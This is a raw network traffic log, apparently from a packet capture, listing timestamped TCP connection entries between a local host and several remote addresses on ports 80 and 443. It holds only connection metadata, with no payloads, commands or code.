Nov 12, 2024 04:16:30.088299990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088311911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088313103 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088324070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088335991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088351011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088372946 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088382959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088408947 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088440895 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088496923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088507891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088517904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088530064 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088541031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088541985 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088541985 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088556051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088562012 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088594913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088606119 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088609934 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088609934 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088624954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088637114 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088649035 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088650942 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088650942 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088702917 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088702917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088702917 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088716030 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088726997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088737965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088749886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088753939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088753939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088800907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088800907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088820934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088831902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088843107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088857889 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088886023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088927031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088937998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088947058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088953018 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088960886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088972092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088980913 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088984966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089008093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089010000 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.089019060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089030027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089032888 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.089041948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089054108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089055061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.089062929 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.089067936 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089078903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089091063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089103937 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.089109898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089124918 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.089168072 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089179039 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089190006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089191914 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.089200974 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089207888 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.089245081 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.089245081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089258909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089270115 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089317083 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089329958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089344025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.089346886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089359045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089368105 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.089387894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089399099 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089409113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089413881 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.089435101 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.089518070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089544058 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.089598894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089608908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089612961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.089620113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089632988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089644909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089667082 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.089669943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089683056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089693069 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.089694977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089706898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089718103 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089728117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089728117 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.089751005 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.089873075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089900970 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.089905024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089915991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089957952 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.089957952 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.089971066 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089982033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.089993000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090003967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090013027 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.090023994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.090035915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090046883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090048075 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.090059042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090080023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.090151072 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090162039 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090171099 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.090172052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090184927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090195894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090205908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.090205908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.090208054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090255976 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.090255976 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.090374947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090384007 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090394974 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090416908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.090436935 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090449095 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090459108 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.090460062 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090472937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090493917 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.090517998 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.090580940 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090593100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090603113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090612888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090625048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090631008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.090636015 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090643883 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.090647936 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090660095 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090668917 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.090672016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090692997 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.090743065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090754032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090760946 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.090764999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090776920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090791941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090801001 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.090802908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090815067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090826988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090827942 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.090837002 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.090883970 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090894938 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.090909958 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.090976954 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.109743118 CET	49818	443	192.168.2.5	18.161.170.14
Nov 12, 2024 04:16:30.201426983 CET	443	49818	18.161.170.14	192.168.2.5
Nov 12, 2024 04:16:30.201498985 CET	443	49818	18.161.170.14	192.168.2.5
Nov 12, 2024 04:16:30.201679945 CET	49818	443	192.168.2.5	18.161.170.14
Nov 12, 2024 04:16:30.203027010 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203051090 CET	49818	443	192.168.2.5	18.161.170.14
Nov 12, 2024 04:16:30.203066111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203068972 CET	443	49818	18.161.170.14	192.168.2.5
Nov 12, 2024 04:16:30.203077078 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203088045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203183889 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203195095 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203203917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203218937 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.203222036 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203233957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203243971 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.203246117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203258038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203269005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203273058 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.203282118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203305960 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.203336954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203339100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.203339100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.203355074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203366995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203377008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203391075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203406096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203421116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203432083 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.203478098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203489065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203497887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203504086 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.203511000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203521967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203536034 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203536987 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.203547001 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203560114 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203561068 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.203584909 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.203653097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203664064 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203674078 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203680992 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.203696966 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.203713894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203723907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203738928 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.203857899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203883886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.203896999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203908920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203959942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203969955 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203979969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.203986883 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.203993082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204020023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.204121113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204132080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204142094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204149008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.204153061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204159975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204169035 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204175949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.204185009 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204201937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204217911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204217911 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.204229116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204236984 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.204241037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204252005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204256058 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.204265118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204282045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204289913 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.204293013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204304934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204317093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204328060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204330921 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.204346895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204355001 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.204360008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204370975 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.204379082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204389095 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.204391003 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204404116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204416037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204430103 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.204433918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204446077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204463005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204474926 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204487085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204488993 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.204488993 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.204520941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204533100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204545021 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204557896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204557896 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.204570055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204587936 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204600096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204616070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204627037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204637051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204648018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204662085 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.204662085 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.204662085 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.204682112 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.204701900 CET	443	49816	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:30.204706907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.204732895 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.205436945 CET	49816	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:30.205463886 CET	443	49816	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:30.206437111 CET	443	49816	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:30.206543922 CET	49816	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:30.207704067 CET	443	49817	20.125.209.212	192.168.2.5
Nov 12, 2024 04:16:30.207994938 CET	49828	443	192.168.2.5	18.161.170.14
Nov 12, 2024 04:16:30.208019972 CET	443	49828	18.161.170.14	192.168.2.5
Nov 12, 2024 04:16:30.208096981 CET	49828	443	192.168.2.5	18.161.170.14
Nov 12, 2024 04:16:30.208323956 CET	49816	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:30.208437920 CET	443	49816	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:30.208802938 CET	49817	443	192.168.2.5	20.125.209.212
Nov 12, 2024 04:16:30.208805084 CET	49828	443	192.168.2.5	18.161.170.14
Nov 12, 2024 04:16:30.208817005 CET	443	49828	18.161.170.14	192.168.2.5
Nov 12, 2024 04:16:30.208821058 CET	443	49817	20.125.209.212	192.168.2.5
Nov 12, 2024 04:16:30.209131002 CET	49816	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:30.209131002 CET	49816	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:30.209145069 CET	443	49816	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:30.209177971 CET	443	49816	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:30.210470915 CET	443	49817	20.125.209.212	192.168.2.5
Nov 12, 2024 04:16:30.210536957 CET	49817	443	192.168.2.5	20.125.209.212
Nov 12, 2024 04:16:30.211738110 CET	49817	443	192.168.2.5	20.125.209.212
Nov 12, 2024 04:16:30.211805105 CET	443	49817	20.125.209.212	192.168.2.5
Nov 12, 2024 04:16:30.212029934 CET	49817	443	192.168.2.5	20.125.209.212
Nov 12, 2024 04:16:30.259325981 CET	443	49817	20.125.209.212	192.168.2.5
Nov 12, 2024 04:16:30.275080919 CET	443	49819	20.1.248.118	192.168.2.5
Nov 12, 2024 04:16:30.275815010 CET	49819	443	192.168.2.5	20.1.248.118
Nov 12, 2024 04:16:30.275826931 CET	443	49819	20.1.248.118	192.168.2.5
Nov 12, 2024 04:16:30.276890993 CET	443	49819	20.1.248.118	192.168.2.5
Nov 12, 2024 04:16:30.277276039 CET	49819	443	192.168.2.5	20.1.248.118
Nov 12, 2024 04:16:30.278332949 CET	49819	443	192.168.2.5	20.1.248.118
Nov 12, 2024 04:16:30.278368950 CET	49819	443	192.168.2.5	20.1.248.118
Nov 12, 2024 04:16:30.278378963 CET	443	49819	20.1.248.118	192.168.2.5
Nov 12, 2024 04:16:30.278419971 CET	443	49819	20.1.248.118	192.168.2.5
Nov 12, 2024 04:16:30.291691065 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.291723013 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.291738033 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.291816950 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.291846037 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.291941881 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.293584108 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.293601990 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.293704033 CET	49807	443	192.168.2.5	13.107.246.57
